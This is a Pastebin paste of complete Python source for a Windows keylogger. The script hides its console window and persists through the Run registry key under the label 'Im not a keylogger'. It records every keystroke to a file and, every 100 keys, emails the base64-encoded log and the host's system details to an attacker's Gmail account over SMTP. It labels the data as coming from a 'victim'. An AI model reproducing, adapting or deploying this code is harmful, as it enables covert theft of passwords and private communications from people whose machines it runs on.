Advertisement
Guest User

Untitled

a guest
Nov 18th, 2018
563
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.35 KB | None | 0 0
  1. import win32api
  2. import win32console
  3. import win32gui
  4. import pythoncom,pyHook
  5. import smtplib
  6. import base64, os, sys, re, string
  7. import sqlite3
  8. import socket
  9. import platform
  10. import uuid
  11. from _winreg import *
  12. def addStartup(): # this will add the file to the startup registry key
  13. fp = os.path.dirname(os.path.realpath(__file__))
  14. file_name = sys.argv[0].split('\\')[-1]
  15. new_file_path = fp + '\\' + file_name
  16. keyVal = r'Software\Microsoft\Windows\CurrentVersion\Run'
  17. key2change = OpenKey(HKEY_CURRENT_USER, keyVal, 0, KEY_ALL_ACCESS)
  18. SetValueEx(key2change, 'Im not a keylogger', 0, REG_SZ,
  19. new_file_path)
  20. addStartup()
  21. ## CHANGE THIS ##
  22. sender = 'your_email@gmail.com'
  23. reciever = 'your_email@gmail.com'
  24. password = 'your_password'
  25. # Dont change this
  26. marker = "AUNIQUEMARKER"
  27. win=win32console.GetConsoleWindow()
  28. win32gui.ShowWindow(win,0)
  29. #create text file
  30. with open('output.txt','w+') as f:
  31. print ""
  32. f.close
  33. print "Running..."
  34. points = 0
  35. def OnKeyboardEvent(event):
  36. #Ctrl-E
  37. global points
  38. points += 1
  39. print points
  40. if event.Ascii==5:
  41. f=open('output.txt','r+')
  42. f.close()
  43. os.remove("output.txt")
  44. sys.exit(0)
  45. if event.Ascii !=0 or 8:
  46. f=open('output.txt','r+')
  47. buffer=f.read()
  48. f.close()
  49. f=open('output.txt','w+')
  50. keylogs=chr(event.Ascii)
  51. #if press ENTER
  52. if event.Ascii==13:
  53. keylogs='\n'
  54. if event.Ascii==32:
  55. keylogs=' '
  56. buffer+=keylogs
  57. f.write(buffer)
  58. f.close()
  59. if points == 100: ## how may letters typed
  60. points = 0
  61. filename = "output.txt"
  62. fo = open(filename, "rb")
  63. filecontent = fo.read()
  64. encodedcontent = base64.b64encode(filecontent)
  65.  
  66. body = """
  67. New stuff info from victim
  68. ===========================
  69. Name: %s
  70. FQDN: %s
  71. System Platform: %s
  72. Machine: %s
  73. Node: %s
  74. Platform: %s
  75. Processor: %s
  76. System OS: %s
  77. Release: %s
  78. Version: %s
  79. """ % (socket.gethostname(), socket.getfqdn(), sys.platform,platform.machine(),platform.node(),platform.platform(),platform.processor(),platform.system(),platform.release(),platform.version()) ###########
  80. part1 = """From: Victim <toxicnull@gmail.com>
  81. To: Filip <toxicnull@gmail.com>
  82. Subject: New Info From Keylogger
  83. MIME-Version: 1.0
  84. Content-Type: multipart/mixed; boundary=%s
  85. --%s
  86. """ % (marker, marker)
  87.  
  88. part2 = """Content-Type: text/plain
  89. Content-Transfer-Encoding:8bit
  90. %s
  91. --%s
  92. """ % (body,marker)
  93.  
  94. part3 = """Content-Type: multipart/mixed; name=\"%s\"
  95. Content-Transfer-Encoding:base64
  96. Content-Disposition: attachment; filename=%s
  97. %s
  98. --%s--
  99. """ %(filename, filename, encodedcontent, marker)
  100.  
  101. message = part1 + part2 + part3
  102.  
  103. try:
  104. fo.close()
  105. f.close()
  106. smtpObj = smtplib.SMTP('smtp.gmail.com:587')
  107. smtpObj.starttls()
  108. smtpObj.login(sender, password)
  109. smtpObj.sendmail(sender, reciever, message)
  110. print "Success"
  111. os.remove("output.txt")
  112. f = open('output.txt','w+')
  113. f.close()
  114. except Exception as e:
  115. print "Error: "
  116. print e
  117.  
  118. hm=pyHook.HookManager()
  119. hm.KeyDown=OnKeyboardEvent
  120. hm.HookKeyboard()
  121. pythoncom.PumpMessages()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement